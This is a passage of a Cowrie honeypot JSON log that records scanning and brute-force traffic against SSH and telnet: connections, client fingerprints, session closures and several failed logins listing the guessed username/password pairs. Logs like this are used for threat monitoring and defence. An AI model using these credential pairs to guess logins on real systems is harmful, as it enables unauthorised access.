tr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:50.239530Z","src_ip":"113.163.156.190","session":"dc05f293151a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"p@$$w0rd","message":"login attempt [admin/p@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:51.287836Z","src_ip":"113.163.156.190","session":"dc05f293151a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.227989435195923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:51.447380Z","src_ip":"34.69.118.1","session":"618b6b066d5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:52.543784Z","src_ip":"113.163.156.190","session":"dc05f293151a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":45740,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e88b946e1ef","protocol":"telnet","message":"New connection: 34.69.118.1:45740 (159.203.135.109:23) [session: 4e88b946e1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:56.693839Z"}
{"eventid":"cowrie.session.closed","duration":31.369356632232666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:57.865987Z","src_ip":"34.69.118.1","session":"ef5c18fee142","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.816982746124268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:58.989018Z","src_ip":"34.69.118.1","session":"a97d0a8ddc8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51064968109131,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:59.647000Z","src_ip":"34.69.118.1","session":"756d4013cffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.634547233581543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:16:59.793963Z","src_ip":"34.69.118.1","session":"6da1d76519da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998823165893555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:01.374164Z","src_ip":"34.69.118.1","session":"043466080847","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955639123916626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:01.526843Z","src_ip":"34.69.118.1","session":"f8e70e50604e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.94665265083313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:02.278603Z","src_ip":"34.69.118.1","session":"6499a850e959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":52212,"dst_ip":"159.203.135.109","dst_port":23,"session":"73db87d6c70b","protocol":"telnet","message":"New connection: 34.69.118.1:52212 (159.203.135.109:23) [session: 73db87d6c70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:05.980129Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47742,"dst_ip":"159.203.135.109","dst_port":22,"session":"28754559c65a","protocol":"ssh","message":"New connection: 122.168.114.167:47742 (159.203.135.109:22) [session: 28754559c65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:06.736370Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34706,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d7f543356f7","protocol":"telnet","message":"New connection: 34.69.118.1:34706 (159.203.135.109:23) [session: 9d7f543356f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:07.311780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:08.012849Z","src_ip":"122.168.114.167","session":"28754559c65a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:08.016990Z","src_ip":"122.168.114.167","session":"28754559c65a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.9914493560791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:09.072947Z","src_ip":"34.69.118.1","session":"e8b45ebcc9cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893859386444092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:09.293072Z","src_ip":"34.69.118.1","session":"0fcd38f8c8c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34714,"dst_ip":"159.203.135.109","dst_port":23,"session":"704a5bcaf226","protocol":"telnet","message":"New connection: 34.69.118.1:34714 (159.203.135.109:23) [session: 704a5bcaf226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:11.141467Z"}
{"eventid":"cowrie.session.closed","duration":30.535623788833618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:11.538552Z","src_ip":"34.69.118.1","session":"e7e3f0a74b75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.758004665374756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:12.923595Z","src_ip":"34.69.118.1","session":"0fce06829d33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34724,"dst_ip":"159.203.135.109","dst_port":23,"session":"a662e31d9d9f","protocol":"telnet","message":"New connection: 34.69.118.1:34724 (159.203.135.109:23) [session: a662e31d9d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:13.957698Z"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:14.018855Z","src_ip":"122.168.114.167","session":"28754559c65a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.650946140289307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:14.396949Z","src_ip":"34.69.118.1","session":"6d66b42511b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00103378295898,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:15.757892Z","src_ip":"109.224.242.7","session":"a64aff6aba0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:16.194437Z","src_ip":"122.168.114.167","session":"28754559c65a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":34740,"dst_ip":"159.203.135.109","dst_port":23,"session":"16bcf4e27130","protocol":"telnet","message":"New connection: 34.69.118.1:34740 (159.203.135.109:23) [session: 16bcf4e27130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:16.412712Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":43460,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f15f429890","protocol":"telnet","message":"New connection: 109.224.242.7:43460 (10.17.0.5:23) [session: 82f15f429890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:16.815572Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":37946,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c8f1520f7a5","protocol":"telnet","message":"New connection: 34.69.118.1:37946 (159.203.135.109:23) [session: 3c8f1520f7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:19.845203Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":33698,"dst_ip":"10.17.0.5","dst_port":22,"session":"73ef18dadf5b","protocol":"ssh","message":"New connection: 76.127.61.251:33698 (10.17.0.5:22) [session: 73ef18dadf5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:20.304346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:20.309250Z","src_ip":"76.127.61.251","session":"73ef18dadf5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:20.365701Z","src_ip":"76.127.61.251","session":"73ef18dadf5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mq@123456","message":"login attempt [root/Mq@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:20.627025Z","src_ip":"76.127.61.251","session":"73ef18dadf5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":37956,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8224bb3765","protocol":"telnet","message":"New connection: 34.69.118.1:37956 (159.203.135.109:23) [session: 7e8224bb3765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:20.818074Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:21.686896Z","src_ip":"76.127.61.251","session":"73ef18dadf5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":37972,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bcd17f6d6a2","protocol":"telnet","message":"New connection: 34.69.118.1:37972 (159.203.135.109:23) [session: 6bcd17f6d6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:23.527768Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":55012,"dst_ip":"10.17.0.5","dst_port":22,"session":"807b6165f34a","protocol":"ssh","message":"New connection: 148.230.169.229:55012 (10.17.0.5:22) [session: 807b6165f34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:23.948854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:24.396334Z","src_ip":"148.230.169.229","session":"807b6165f34a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:24.458388Z","src_ip":"148.230.169.229","session":"807b6165f34a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":37980,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9c6ea36f8e1","protocol":"telnet","message":"New connection: 34.69.118.1:37980 (159.203.135.109:23) [session: b9c6ea36f8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:24.587111Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwe123123","message":"login attempt [ubuntu/Qwe123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:24.786663Z","src_ip":"148.230.169.229","session":"807b6165f34a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":37982,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd7763edb011","protocol":"telnet","message":"New connection: 34.69.118.1:37982 (159.203.135.109:23) [session: fd7763edb011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:25.228250Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":45434,"dst_ip":"10.17.0.5","dst_port":23,"session":"43fc03e5fc3f","protocol":"telnet","message":"New connection: 109.224.242.7:45434 (10.17.0.5:23) [session: 43fc03e5fc3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:25.536305Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:25.855723Z","src_ip":"148.230.169.229","session":"807b6165f34a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.036352157592773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:27.730062Z","src_ip":"34.69.118.1","session":"4e88b946e1ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60944,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a5c09991f37","protocol":"telnet","message":"New connection: 34.69.118.1:60944 (159.203.135.109:23) [session: 4a5c09991f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:29.498462Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60950,"dst_ip":"159.203.135.109","dst_port":23,"session":"f81a0399e6d9","protocol":"telnet","message":"New connection: 34.69.118.1:60950 (159.203.135.109:23) [session: f81a0399e6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:31.325676Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40972,"dst_ip":"159.203.135.109","dst_port":23,"session":"0436d0bfc4bb","protocol":"telnet","message":"New connection: 34.69.118.1:40972 (159.203.135.109:23) [session: 0436d0bfc4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:38.157014Z"}
{"eventid":"cowrie.session.closed","duration":32.39510107040405,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:38.375117Z","src_ip":"34.69.118.1","session":"73db87d6c70b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.075570106506348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:38.387231Z","src_ip":"34.69.118.1","session":"9d7f543356f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40980,"dst_ip":"159.203.135.109","dst_port":23,"session":"697399b4f02b","protocol":"telnet","message":"New connection: 34.69.118.1:40980 (159.203.135.109:23) [session: 697399b4f02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:38.488342Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40982,"dst_ip":"159.203.135.109","dst_port":23,"session":"915485490e0c","protocol":"telnet","message":"New connection: 34.69.118.1:40982 (159.203.135.109:23) [session: 915485490e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:39.169329Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40988,"dst_ip":"159.203.135.109","dst_port":23,"session":"77270fecd068","protocol":"telnet","message":"New connection: 34.69.118.1:40988 (159.203.135.109:23) [session: 77270fecd068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:39.389929Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41002,"dst_ip":"159.203.135.109","dst_port":23,"session":"44b66ee8790b","protocol":"telnet","message":"New connection: 34.69.118.1:41002 (159.203.135.109:23) [session: 44b66ee8790b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:42.328387Z"}
{"eventid":"cowrie.session.closed","duration":31.841697931289673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:42.983076Z","src_ip":"34.69.118.1","session":"704a5bcaf226","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.726765155792236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:45.684359Z","src_ip":"34.69.118.1","session":"a662e31d9d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50152,"dst_ip":"159.203.135.109","dst_port":22,"session":"73fd0340ee89","protocol":"ssh","message":"New connection: 122.168.114.167:50152 (159.203.135.109:22) [session: 73fd0340ee89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:46.172230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:47.443412Z","src_ip":"122.168.114.167","session":"73fd0340ee89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:47.446515Z","src_ip":"122.168.114.167","session":"73fd0340ee89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":49350,"dst_ip":"159.203.135.109","dst_port":22,"session":"401741ea79e1","protocol":"ssh","message":"New connection: 113.163.156.190:49350 (159.203.135.109:22) [session: 401741ea79e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:47.511302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:17:47.515369Z","src_ip":"113.163.156.190","session":"401741ea79e1","protocol":"ssh"}
